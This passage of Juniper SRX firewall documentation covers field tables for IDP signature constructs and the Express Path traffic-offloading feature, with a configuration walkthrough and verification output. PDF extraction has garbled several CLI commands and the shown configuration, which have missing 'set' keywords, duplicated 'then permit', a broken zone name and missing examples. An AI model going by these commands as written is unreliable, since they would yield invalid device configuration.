<String>dec</String>
<align>True</align>
</Byte_Test>
```

"IDP Signature Language Constructs" on page 509 lists the fields for the Byte test construct.

Table 86: Byte Test Output

Field	Field Description
bitmask	Specify the bitmask (1-4 bytes) for AND operation in hexadecimal format.
bytes	Specify the number of bytes to extract from packet (110).
endianness	Specify the endianness with which the bytes read by the IDP engine should be processed.
negate	Check if the operator is not true.
offset	Mention the offset variable name or offset value.
operator	Specify the operation to perform on an extracted value.
relative	Specify whether to use an offset relative to last pattern match or not.
rvalue	The converted value is tested with rvalue
string	Specify the data type in which string data should be parsed.

• **Byte jump**—The **Byte jump** keyword is used for signatures written for length encoded protocols to skip over specific portions of payload, and perform detection in very specific locations. The byte jump value can be both relative and non-relative. For example:

"IDP Signature Language Constructs" on page 509 lists the fields for the Byte jump construct.

Table 87: Byte Jump Output

Field	Field Description
align	Specify the endianness with which bytes read by the IDP engine should be processed.
bitmask	Specify the bitmask (1-4 bytes) for AND operation in hexadecimal format.
bytes	Specify the number of bytes to extract from packet (1-10).
endianness	Specify the endianness with which bytes read by the IDP engine, should be processed.
from-beginning	Enable jump from the beginning of the payload.
from-end	Enable jump from the end of the payload.
multiplier	Specify the value to be multiplied against the bytes read.
offset	Mention the offset variable name or offset value to be used.
post-offset	Specify the number of bytes to skip forward or backward (-6553565535).

Table 87: Byte Jump Output (Continued)

Field	Field Description
relative	Specify whether to use an offset relative to last pattern match or not.
string	Specify the data type in which string data should be parsed.

• Byte math—The Byte math keyword allows you to perform a mathematical operation on an extracted value, a specified value, or existing variable. The byte math value stores the outcome in a new resulting variable. The operations such as 1) '+' | '-' | '*' | '/' | '<<' | '>>' are supported. It can be both relative and non-relative. For example:

"IDP Signature Language Constructs" on page 509 lists the fields for the Byte math construct.

Table 88: Byte Math Output

Field	Field Description
bitmask	Specify the bitmask (1-4 bytes) for AND operation in hexadecimal format.
bytes	Specify the number of bytes to extract from packet (1-10).

Table 88: Byte Math Output (Continued)

Field	Field Description
endianness	Specify the endianness with which bytes read should be processed.
offset	Specify the number of bytes in to payload to start processing (0-65535).
operator	Specify the operation to perform on extracted value.
relative	Specify whether to use an offset relative to last pattern match or not.
result	Specify the variable name to which the result should be stored.
rvalue	Specify the value to use for the specific mathematical operation.
string	Specify the data type in which the string data should be parsed.

• **Is-data-at**— The is-data-at keyword allows you to verify that the payload contains the required data at a specified location. For example:

"IDP Signature Language Constructs" on page 509 lists the fields for the Is-data-at construct.

Table 89: Isdataat Output

Field	Field Description
negate	Negates the results of the is-data-at test.

Table 89: Isdataat Output (Continued)

Field	Field Description
offset	Mention the offset variable name or offset value.
relative	Specify whether to use an offset relative to the last pattern match or not.

Detection Filter— The detection filter defines the rate at which the attack should match. A count is
maintained for either source or destination as per the option value specified in the signature.

Detection filter is outside <SLE_Constructs> and is specified per attack and not per member of attack. If
an attack is detected 5 times in an interval of 10 seconds from the same source IP, it will be flagged
as an attack. For example:

Express Path

IN THIS SECTION

- Automated Express Path | 519
- How does Express Path Process the Traffic? | 520
- Platforms That Support Express Path | 521
- How to Enable Express Path | 522
- Express Path Network Processor | 522
- Express Path Packet Processing on IOC cards | 525
- Example: Configure Express Path on SRX5400, SRX5600, or SRX5800 Device with an IOC card | 527


Express Path (formerly known as *services offloading*) is a mechanism for processing fast-path packets in the network processor instead of in the Services Processing Unit (SPU). Express Path increases the performance by offloading certain traffic from SPU to network processors.

When you create an Express Path session on the network processor, subsequent packets of the flow match the session on the network processors. The network processor then processes and forwards the packet.

The network processor also manages additional processing such as TCP sequence check, time-to-live (TTL) processing, Network Address Translation (NAT), and Layer 2 header translation. The flow table on the IOC3 is managed by the SPU of the flow module. The SPU inserts and deletes flow entries in the flow table based on policy matching results. Express Path supports IPv6.

The figure shows the packet flow in Express Path.

Figure 8: Packet flow and Express Path



Benefits of Express Path

- Significantly improves single-flow and chassis-level performance.
- Reduces SPU utilization and latency.

Express Path Limitations

Express Path does not support:

- Features
 - Transparent Mode
 - Multicast session with more than one fan-out
 - Fragmented packets

- IPsec VPN
- Different MTU size values
- J-Flow
- Flexible VLAN tagging
- Application Layer Gateway (ALG) data traffic:
 - DNS
 - IKE and ESP
 - PPTP
 - SQL-NET
- IPv6
 - NAT
 - Transparent mode
 - Different MTU size values
 - Class of Service (CoS) on egress interfaces

Express path and packet offloading doesn't work when you use firewall filters to direct traffic into a virtual router.

If you enable Express Path on a device operating in chassis cluster mode:

- You cannot configure asymmetric I/O cards (IOC).
- If a child link from the LACP-enabled reth interface goes down, all traffic on this link is distributed to
 other active child links of the interface. If the child link comes up and rejoins the reth interface, then
 the existing traffic or sessions are not redistributed over this newly rejoined active child link. New
 sessions traverse through this link.
- If a new child link is added to the LACP-enabled reth interface, then the existing traffic or sessions are not redistributed over this new child link. New sessions traverse this link.

Automated Express Path

On SRX4600, SRX4700, SRX5400, SRX5600, and SRX5800 devices, Automated Express Path is by default enabled from Junos OS Release 21.2R1. When you upgrade to Junos Release 21.2R1 or later,

you unlock free, unparalleled next-generation firewall performance, without any additional configuration or hardware investment. By default, an automated Express Path is enabled.

In Junos OS Release 21.2R1 to disable the Express Path per rule, use set security policies from-zone [untrust] to-zone ptrust] policy [services-offload-pol1] then permit no-services-offload command.

To revert to previous behavior by enabling services-offload per rule, use the set security forwarding-options services-offload disable command.

Automated Express Path supports the following features:

- Stateful Firewall
- Network Address Translation (NAT)
- Unified-Policies (with Dynamic-Applications and URL-Categories)
- User-Firewall
- Security Intelligence
- Intrusion Detection and Prevention (IDP)
- Enhanced Web-Filtering
- Application Layer Gateways (ALG)
- Screens (Anti-DDoS)

How does Express Path Process the Traffic?

When the first packet arrives at an interface, the network processor forwards it to the central point (CP). The central point in turn forwards the packet to the SPU. The SPU then creates a session on the network processor and verifies if the traffic qualifies for the Express Path session or a normal session.

If the traffic qualifies for Express Path processing, an Express Path session for the traffic is created in the SPU. The Express Path session processes the fast-path packets in the network processor, and the packets exit from the network processor.

If the traffic doesn't qualify for Express Path processing, the SPU creates a normal session. The normal session forwards packets from the network processor to the SPU for fast-path processing,

Platforms That Support Express Path

The SRX4600, SRX4700, SRX5400, SRX5600, and SRX5800 devices support Express Path.

Table 90 on page 521 provides details about the Express Path support on different SRX Series cards.

Table 90: Express Path Support on SRX Series Firewall Cards

SRX Series Firewall	Card Name and Model Number	Earliest Supported Release	
SRX5600, SRX5800	SRX5K-40GE-SFP	Junos OS Release 11.4	
SRX5600, SRX5800	SRX5K-4XGE-XFP	Junos OS Release 11.4	
SRX5600, SRX5800	SRX5K-FPC-IOC containing one of the following cards: • SRX-IOC-16GE-TX • SRX-IOC-4XGE-XFP • SRX-IOC-16GE-SFP	Junos OS Release 11.4	
SRX5400, SRX5600, SRX5800	SRX5K-MPC containing one of the following MICs: SRX-MIC-10XGE-SFFP SRX-MIC-2X40GE-OSFP SRX-MIC-1X100GE-CFP SRX-MIC-20GE-SFP	Junos OS Release 12.3X48- D10	
SRX5400, SRX5600, SRX5800	SRX5K-MPC3 (IOC3) containing one of the following MPCs: • SRX5K-MPC3-40G10G (24x10GE + 6x40GE MPC) • SRX5K-MPC3-100G10G (2x100GE + 4x10GE MPC)	Junos OS Release 15.1X49- D10	
SRX5400, SRX5600, SRX5800	SRX5K-IOC4-10G (IOC4) SRX5K-IOC4-MRAT	Junos OS Release 19.3R1	

Table 90: Express Path Support on SRX Series Firewall Cards (Continued)

SRX Series Firewall	Card Name and Model Number	Earliest Supported Release
SRX4600	Not Applicable	Junos OS Release 19.2R1
SRX4700	Not Applicable	Junos OS Release 24.4R1

How to Enable Express Path



NOTE: Express Path is automated from Junos OS Release 21.2R1.

To configure the Express Path mode:

- On an SRX5000 line device with IOC or flex IOC cards, use the set chassis fpc fpc-number pic pic-number services-offload command.
- On an SRX5000 line device with Modular Port Concentrator (MPC), enable NP cache on the IOC using the set chassis fpc fpc-number np-cache command.
- On SRX4600 device, the np-cache option is enabled by default. Hence, the set chassis fpc fpc- number np-cache command is not applicable.

If you do not use express path, do not configure it in any security policies.

Express Path Network Processor

IN THIS SECTION

- Wing Statistics Counter | 524
- Sessions per Wing Statistics | 524

On SRX4600, SRX5400, SRX5600, and SRX5800 devices with network processor, when all the plugins including packet plugins and stream plugins ignore a session, we service offload the session and then install the session on the network processor. When the packet plugin ignores the session, we mark the ignore flags. When the streaming plugin ignores the session, we mark the ignore flags and short-circuit the TCP-T and TCP-I. We then install the session on the network processor to offload the session.

The I/O card (IOC) network processor processes the fast-path packets without going through the switch fabric or the SPU. This reduces the packet-processing latency.

Each flow entry has a per-wing counter in the Express Path network processor. The counter captures the number of bytes that the network processor sends out over the wing.

The behavior of the network processor in different scenarios is as follows:

• **First-path flow**—The first-path flow is the same as the current network processor flow process. When the first packet arrives at the network processor, the network processor parses the TCP or the UDP packet to extract a 5-tuple key and then performs session lookup in the flow table. The network processor then forwards the first packet to the central point. The central point cannot find a match at this time because this is the first packet. The central point and the SPU create a session and match it against user-configured policies to determine if the session is a normal session or a services-offload session.

If you specify the session to be managed with Express Path the SPU creates a session entry in the network processor flow table. This enables the Express Path flag in the session entry table; otherwise, the SPU creates a normal session entry in the network processor without the Express Path flag.

- **Fast-path flow**—After you create the session entry in the network processor, subsequent packets of the session will match the session entry table.
 - **1.** If the Express Path flag is not set, then the network processor forwards the packet to the SPU s specified in the session entry table. The packet goes through the normal flow process.
 - **2.** If the network processor finds the services-offload flag in the session entry table, it will process the packet locally and send the packet out directly.
 - **3.** The fast-forwarding function on the network processor supports one-fanout multicast sessions. The egress port in the session must also be associated with the same network processor as the ingress port. All other multicast cases need to be managed as normal sessions.
- NAT process—The SPU is responsible for mapping between the internal IP address or port and the external IP address or port. When the first packet of the session arrives, the SPU allocates the IP address or port mapping and stores the information in the network processor session entry. If the NAT flag is set, the network processor modifies the packet.
- Session age-out—To improve traffic throughput for services-offload sessions, a copy of a packet is sent to the SPU at every predefined time period to reduce the packet processing demand on the

SPU. To limit the number of packet copies sent to the SPU, a timestamp is implemented for each service-offload session. The network processor calculates the elapsed time since the last session match. If the elapsed time is greater than the predefined time period, then the network processor sends a copy of the packet to the SPU and updates the session timestamp.

• Session termination and deletion—If the network processor receives an IP packet with a FIN (finished data) or an RST (reset connection) flag, it forwards the packet to the SPU. The SPU then deletes the session cache on the network processor. The network processor continues to receive and forward any packets to the SPU during state transition.

Wing Statistics Counter

In Express Path, the network processor provides the option for each flow entry to keep a per-wing bytes counter. The counter captures the number of bytes that the network processor sends out over the wing.

When you enable the counter, the network processor searches its flow entry (a session wing) for every ingress packet. If the packet belongs to an established flow entry, the network processor increases the byte counter of the flow entry in the packet. The network processor periodically copies a packet (copypacket) of each flow entry to its associated SPU, allowing the SPU to maintain the session. The network processor sends flow-byte counter values in the header of copy-packet packets. The SPU accumulates and keeps per-wing statistics counters.

You cannot change the statistics configuration during the life cycle of a live session. Disabling or enabling the per-wing statistics configuration while a session is alive at the network processor invalidates the session statistics on the current session. The new session statistics can be valid only after the configuration changes are committed. Network processor per-wing counters cannot be cleared. On SRX5800 devices with the SRX5K-MPC (IOC2), the SRX 5K-MPC3 (IOC3), and the SRX5K-IOC4-10G (IOC4) the wing statistics counter configuration is enabled, by default, On SRX4600 devices, enable the wing statistics counter.

Sessions per Wing Statistics

The network processor has a larger static RAM (SRAM) to accommodate session resources, thus hosting more sessions per PIC. Table 91 on page 525 displays the total number of session wings, including both Express Path and non-Express Path. On SRX4600 devices, the IMIX throughput is 400Gbps.

Table 91: Total Number of Sessions per Wing in Network Processor Express Path Configuration Mode

Total Number of Wings		Number of Express Path UDP Wings		Number of Express Path TCP Wings	
Cards and SRX Series Firewall	Non-Express Path Mode Sessions	Without Statistics	With Statistics	Without Statistics	With Statistics
SRX5000 line device SRX5K- MPC (IOC2)	1.8 million	1.8 million	1.8 million	1.8 million	1.8 million
SRX5000 line device SRX5K- MPC3 (IOC3)	20 million	20 million	20 million	20 million	20 million
SRX5000 line device SRX5K IOC4	10 million	10 million	10 million	10 million	10 million
SRX4600	20 million	20 million	20 million	20 million	20 million

Express Path Packet Processing on IOC cards

Express Path on the IOC cards is based on processing fast-path packets through the network processor chipset instead of in the SPU to offload some basic firewall functions to the IOC card.

If you've enabled the Express Path feature, then the IOC card provides lower latency and also supports higher throughput by removing the overload on the SPU. The IOC card supports both intra-card traffic flow and inter-card traffic flow. To achieve the best latency results, both the ingress port and egress port of a traffic flow needs to be on the same XM chip of the IOC card.

The IOC card supports 240Gbps FPC and uses third generation Network Processing (NP) line of chipsets. This latest lookup and queuing chip is optimized for higher capacity. IOC card is compatible with SCB2 and SCB3, the earlier SCB is not supported.

You cannot power on all four PICs in the IOC card simultaneously because of power and thermal constrain. Power on a maximum of two PICs either in even or odd order. You can use the set chassis fpc <slot> pic <pic> power off command to choose the PIC to power on.

The system log messages are:

- XMCHIP CMERROR DDRIF INT REG CHKSUM ERR MINOR
- XMCHIP CMERROR DDRIF INT REG CHKSUM ERR MAJOR

The error messages indicate that the XM chip on a Flexible PIC Concentrator (FPC) has detected a checksum error, which is causing packet drops. The following error threshold values classify the error as a major error or a minor error:

- Minor error -> 5 errors per second
- Major error -> 255 errors per second (maximum count)

In the data plane, the IOC card parses packets and looks them up in the flow table. If the IOC card finds a match in the flow table, then it forwards packets based on the instructions given in the flow table. The IOC card can perform NAT, encapsulate the Layer 2 (L2) header, and forward the packets out of the egress interface. The egress interface can be located on the same IOC card (intra-card case) or another IOC card (inter-card case).

When the IOC card receives the first packet, it does not match any existing fast-forward session. The default hash-based forwarding is performed to send the first packet to the SPU. The SPU then creates the security session. If the SPU finds that the traffic is qualified for fast forwarding, and the related IOC card supports fast forwarding, it will install fast-forward session to the IOC card. If fast forwarding cannot be applied to the traffic, no session message is sent, and the IOC card uses the default hash-based forwarding to forward the packets to the SPU.

In fast-forward IOC card processing, if a fast-forward session is matched, the packet can be directly forwarded according to the session flow result. The IOC card takes all the necessary actions, for example, forwarding the packet, TTL checking and decreasing NAT translation, and Layer 2 header encapsulation.

In addition, the XL chip sends one copy of the forwarding packet to the SPU at a predefined time. This copy is used to refresh the SPU session, detect the current XL chip state, and so on. The SPU consumes this packet and does not forward it, because the real packet has been processed and transmitted.

Figure 9: IOC3 Intra-PFE Express Path




Figure 10: IOC3 Inter-PFE Express Path





Figure 11: Inter-IOC3 Express Path



Example: Configure Express Path on SRX5400, SRX5600, or SRX5800 Device with an IOC card

This example shows how to configure Express Path on an IOC card on SRX5400, SRX5600, or SRX5800 device.

Express Path is a mechanism for processing fast-path packets in the network instead of in the Services Processing Unit (SPU). This method reduces the long packet-processing latency that arises when packets are forwarded from network processors to SPUs for processing and back to IOCs for transmission.

Starting in Junos OS Release 15.1X49-D40, the configuration is valid for IPv6 traffic, earlier to this release it was supported for IPv4 traffic only.

Requirements

This example uses the following hardware and software components:

- One SRX5400, SRX5600, or SRX5800 device with an IOC card
- Junos OS Release 15.1X49-D40 or later for SRX Series Firewalls



NOTE: Express Path is automated from Junos OS Release 21.2R1.

Overview

In this example, you configure Express Path on IOC card on an SRX5000 line device for IPv6 traffic.

You configure two interfaces on the IOC card and assign IPv6 addresses to them. Then you enable flow-based processing for IPv6 traffic. Next, you set up zones and add interfaces to them. Then you provide communication between the two different zones by configuring a security policy to allow traffic between two zones. You also enable Express Path in security policies to specify whether the traffic qualifies for Express Path

Configuration

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
[edit]
set interfaces et-2/1/0 unit 0 family inet6 address 2001:db8::4:12/32
set interfaces et-2/3/0 unit 0 family inet6 address 2001:db8::6:11/32
set security forwarding-options family inet mode flow-based
set security forwarding-options family inet6 mode flow-based
```

```
set zones security-zone zone-1 host-inbound-traffic system-services all
set zones security-zone zone-1 host-inbound-traffic protocols all
set zones security-zone zone-1 interfaces et-2/1/0.0
set zones security-zone zone-2 host-inbound-traffic system-services all
set zones security-zone zone-2 host-inbound-traffic protocols all
set zones security-zone zone-2 interfaces et-2/3/0.0
security policies from-zone zone-2 to-zone zone-1 policy express-path-policy-2 match source-
address any
security policies from-zone zone-2 to-zone zone-1 policy express-path-policy-2 match
destination- address any
security policies from-zone zone-2 to-zone zone-1 policy express-path-policy-2 match application
security policies from-zone zone-2 to-zone zone-1 policy express-path-policy-2 then permit then
permit services-offload
security policies from-zone zone-1 to-zone zone-2 policy express-path-policy-1 match source-
address any
security policies from-zone zone-1 to-zone zone-2 policy express-path-policy-1 match
destination- address any
security policies from-zone zone-1 to-zone zone-2 policy express-path-policy-1 match application
any
security policies from-zone zone-1 to-zone zone-2 policy express-path-policy-1 then permit then
permit services-offload
set chassis fpc 2 np-cache
```

Step-by-Step Procedure

To configure Express Path on SRX5400, SRX5600, or SRX5800 Line Device with an IOC card:

1. Configure the Ethernet interface and assign an IPv6 address to it.

```
[edit]
set interfaces et-2/1/0 unit 0 family inet6 address 2001:db8::4:12/32
set interfaces et-2/3/0 unit 0 family inet6 address 2001:db8::6:11/32
```

2. Enable flow-based processing for IPv6 traffic.

```
[edit]
set security forwarding-options family inet mode flow-based
set security forwarding-options family inet6 mode flow-based
```

Configure security zones, add interfaces, and allow all system services and interfaces. Configure a security zone and specify the types of traffic and protocols that are allowed on interface et-2/1/0.0.

```
[edit]
set zones security-zone zone-1 host-inbound-traffic system-services all
set zones security-zone zone-1 host-inbound-traffic protocols all
set zones security-zone zone-1 interfaces et-2/1/0.0
```

4. Configure security zones, add interfaces, and allow all system services and interfaces. Configure a security zone and specify the types of traffic and protocols that are allowed on interface et-2/3/0.0.

```
[edit]
set zones security-zone zone-2 host-inbound-traffic system-services all
set zones security-zone zone-2 host-inbound-traffic protocols all
set zones security-zone zone-2 interfaces et-2/3/0.0
```

5. Create a policy and specify the match criteria for that policy. The match criteria specify that the device can allow traffic from any source to any destination, and on any application. Enable Express Path in the security policy.



NOTE: You can specify the wildcard any-ipv6 for the source and destination address match criteria to include only IPv6 addresses. Specifying any option for the source and destination address match criteria to include both IPv4 and IPv6 addresses.

[edit]

```
security policies from-zone zone-2 to-zone zone-1 policy express-path-policy-2 match source-
address any
security policies from-zone zone-2 to-zone zone-1 policy express-path-policy-2 match
destination- address any
security policies from-zone zone-2 to-zone zone-1 policy express-path-policy-2 match
application any
security policies from-zone zone-2 to-zone zone-1 policy express-path-policy-2 then permit
then permit services-offload
```

security policies from-zone zone-1 to-zone zone-2 policy express-path-policy-1 match sourceaddress any

```
security policies from-zone zone-1 to-zone zone-2 policy express-path-policy-1 match destination- address any security policies from-zone zone-1 to-zone zone-2 policy express-path-policy-1 match application any security policies from-zone zone-1 to-zone zone-2 policy express-path-policy-1 then permit then permit services-offload
```

6. Set the Express Path mode on IOC card.

```
[edit]
set chassis fpc 2 np-cache
```

Results

From configuration mode, confirm your configuration by entering the show chassis command. If the output does not display the intended configuration, repeat the instructions in this example to correct the configuration.

```
from-zone zone-1 to-zone zone-2 { policy express-path-policy--1 {
match {
source-address any; destination-address any; application any;
then {
permit {
services-offload;
}
}
}
}
from-zone express-path-policy--2 { policy policy-2 {
match {
source-address any; destination-address any; application any;
}
then {
permit {
services-offload;
}
}
```

```
}
}
```

If you are done configuring the device, enter commit from configuration mode.

Verify the Configuration of an IOC card for Express Path

Purpose

Verify that the IOC card was configured properly for Express Path.

Action

From operational mode, enter the show chassis fpc pic-status command

```
Slot 1
              Online 0
                        SRX5k SPC II
PIC
       0
            Online
                     SPU Cp
PIC
       1
            Online
                     SPU Flow
PIC
       2
            Online
                      SPU Flow
PIC
            Online
                     SPU Flow
       3
Slot 2
              Online
                       SRX5k IOC3 2CGE+4XGE
PIC
       0
            Online
                     2x 10GE SFP+- np-cache/services-offload
PIC
            Online 1x 100GE CFP2- np-cache/services-offload
       1
PIC
       2
            Online
                      2x 10GE SFP+- np-cache/services-offload
PIC
            Online
                     1x 100GE CFP2- np-cache/services-offload
       3
Slot 3
              Online
                        SRX5k IOC3 24XGE+6XLG
PIC
            Offline
                      12x 10GE SFP+
       0
PIC
            Offline 0
                      12x 10GE SFP+
PIC
       2
            Online
                     3x 40GE QSFP+- np-cache/services-offload
PIC
       3
            Online
                     3x 40GE QSFP+- np-cache/services-offload
Slot 4
              Offline
                         SRX5k IOC3 24XGE+6XLG
```

Meaning

The output provides the status of PICs with Express Path enabled on them.

Verifying All Active Sessions on the Device

Purpose

Display information about all currently active Express Path sessions on the device.

Action

From operational mode, enter the show security flow session services-offload command.

```
Flow Sessions on FPC1 PIC1:

Session ID: 50000002, Policy name: express-path-policy-2/5, Timeout: 60, Valid
In: 2001:db8::4:12/32 --> 2001:db8::6:11/32;udp, If: et-2/3/0.0, Conn ID: 0x0, Pkts: 181 29505,
Bytes: 1740432530, CP Session ID: 50000002
Out: 2001:db8::6:11/32 --> 2001:db8::4:12/32;udp, If: et-2/1/0.0, Conn ID: 0x0, Pkts: 18 129505,
Bytes: 1740432530, CP Session ID: 50000002
Total sessions: 1
```

Meaning

The output provides the policy details for sessions on which Express Path was enabled.



Configuration Statements and Operational Commands

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Junos CLI Reference Overview

We've consolidated all Junos CLI commands and configuration statements in one place. Read this guide to learn about the syntax and options that make up the statements and commands. Also understand the contexts in which you'll use these CLI elements in your network configurations and operations.

• Junos CLI Reference

Click the links to access Junos OS and Junos OS Evolved configuration statement and command summary topics.

- Configuration Statements
- Operational Commands